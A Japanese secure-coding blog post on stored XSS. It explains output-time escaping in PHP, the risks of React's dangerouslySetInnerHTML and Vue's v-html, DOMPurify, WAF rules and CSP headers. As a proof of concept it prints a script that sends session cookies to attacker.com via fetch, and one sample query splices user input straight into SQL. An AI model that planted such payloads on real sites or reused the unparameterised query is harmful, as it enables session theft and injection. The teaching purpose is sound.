データベースは「毒」を運ぶ運び屋だ――蓄積型XSSの真の脅威と現場の鉄則
現場でコードをレビューしていると、いまだに「入力時に htmlspecialchars() をかけてデータベースに保存する」という実装に出くわすことがある。一見すると安全そうに見えるが、これはセキュリティのプロから見れば「時限爆弾を自ら埋め込んでいる」のと同義だ。
なぜか? データベースは単なるストレージであり、そこからデータを取り出すのはWebアプリケーションだけではないからだ。API、バッチ処理、管理画面のCSV出力、あるいは将来的に追加されるモバイルアプリ。保存時に加工してしまうと、文脈に応じた正しいエスケープができなくなり、結果として脆弱性やデータ破損を招く。
今日は、蓄積型XSS(Stored XSS)がなぜ「最も危険なXSS」と呼ばれ、どう実装すべきかを叩き込んでいく。
—
蓄積型XSS:一度の侵入が「永続的な支配」に変わる瞬間
反射型XSSが「通りすがりの刺客」なら、蓄積型XSSは「屋敷に住み着く寄生虫」だ。攻撃者は掲示板の投稿、プロフィール欄、商品レビューなど、DBに保存される箇所に悪意あるスクリプトを仕込む。
PoC:あなたの掲示板が乗っ取られるシナリオ
例えば、ユーザーのプロフィール編集画面で、名前の入力値が十分にチェックされていないとする。攻撃者は以下のペイロードを送信する。
<script>
// 管理者のセッションCookieを攻撃者のサーバーへ送信する
fetch('https://attacker.com/log?cookie=' + document.cookie);
</script>
これがDBに保存されると、そのプロフィールページを閲覧するすべてのユーザー(管理者含む)のブラウザでこのコードが実行される。管理者が見れば、その瞬間に管理権限が奪取され、システムは完全に制御下に置かれる。これが「永続的」であることの恐怖だ。
—
鉄則:エスケープは「出力時」に、文脈に合わせて行う
セキュリティの教本には「入力値をサニタイズせよ」と書いてあることが多いが、これは半分正解で半分間違いだ。入力時は「バリデーション(型や文字数の制限)」を行い、エスケープは「出力時」に行うのが、堅牢なシステムの鉄則だ。
不適切な例(やってはいけない実装)
// 悪い例:DB保存時にエスケープしてしまう
$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
$db->query("INSERT INTO users (name) VALUES ('$name')");
これをしてしまうと、データを取り出すたびに < のような変換済みの文字列が返ってきてしまい、二重エスケープや表示崩れの原因になる。
正しい実装:PHPでの出力時エスケープ
PHPの htmlspecialchars を使い、HTMLとして出力する直前に変換する。
<?php
// 1. DBからは生のデータを取得する
$user = $db->query("SELECT name FROM users WHERE id = 1")->fetch();
// 2. 表示する直前でエスケープする(これが鉄則)
// ENT_QUOTES: シングルクォートとダブルクォートの両方を変換
// 'UTF-8': 文字コードを明示的に指定
echo htmlspecialchars($user['name'], ENT_QUOTES, 'UTF-8');
?>
—
モダンなフロントエンドとJavaScriptの落とし穴
最近では React や Vue.js を使っているから安心だ、と思っているなら要注意だ。確かにこれらのフレームワークはデフォルトでエスケープしてくれるが、以下の実装を行った瞬間に穴が開く。
- React の
dangerouslySetInnerHTML - Vue.js の
v-html
これらは「意図的にエスケープを無効化する」機能だ。どうしても使わなければならない場合は、DOMPurify のようなライブラリを必ず併用せよ。
DOMPurify を使った安全なレンダリング例
import DOMPurify from 'dompurify';
// ユーザーが入力した生のHTMLをサニタイズしてから表示する
const rawHtml = "<img src=x onerror=alert(1)>";
const cleanHtml = DOMPurify.sanitize(rawHtml);
// これなら攻撃用のスクリプトは除去され、安全なHTMLだけが適用される
document.getElementById('content').innerHTML = cleanHtml;
—
インフラ層での「最後の砦」:WAFとCSP
アプリケーション層の不備を補うために、インフラ側でも多層防御を敷く。
1. WAF(Web Application Firewall)の活用
AWS WAFなどを導入しているなら、XSS 関連のマネージドルールを必ず有効にしておくこと。ただし、WAFは万能ではない。あくまで「既知の攻撃パターン」を防ぐ盾であり、未知の攻撃には無力だ。
2. コンテンツセキュリティポリシー (CSP)
最強の防御策の一つがCSPだ。サーバーからブラウザに対し、「このページでは信頼できないインラインスクリプトは一切実行するな」と命令する。
Nginxの設定例:
# レスポンスヘッダーにCSPを追加
# 'self':自ドメインからのスクリプトのみ許可
# unsafe-inline:これを禁止することでインラインXSSを無効化できる
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none';";
これを導入するだけで、万が一あなたのコードにXSS脆弱性が残っていても、攻撃者が仕込んだ <script> タグはブラウザによって即座にブロックされる。
—
最後に:セキュリティは「性悪説」で設計せよ
現場で多くのインシデントを見てきたが、ほとんどの攻撃は「まさかここに入力されるとは思わなかった」という油断から生まれる。
1. バリデーション:入力データは常に汚れていると想定し、型、長さ、許可された文字のみを許可する。
2. 出力エスケープ:ブラウザに渡す直前に、文脈に応じたエスケープを行う。
3. 多層防御:アプリだけでなくCSPやWAFを組み合わせ、一点突破を防ぐ。
この3つを徹底すれば、あなたのシステムは攻撃者にとって「割に合わないターゲット」になる。コードを書くとき、常に「この値が攻撃者によって書き換えられたらどうなるか?」という問いを自分に投げかけてみてほしい。その疑いこそが、最強のエンジニアへの第一歩だ。
コメント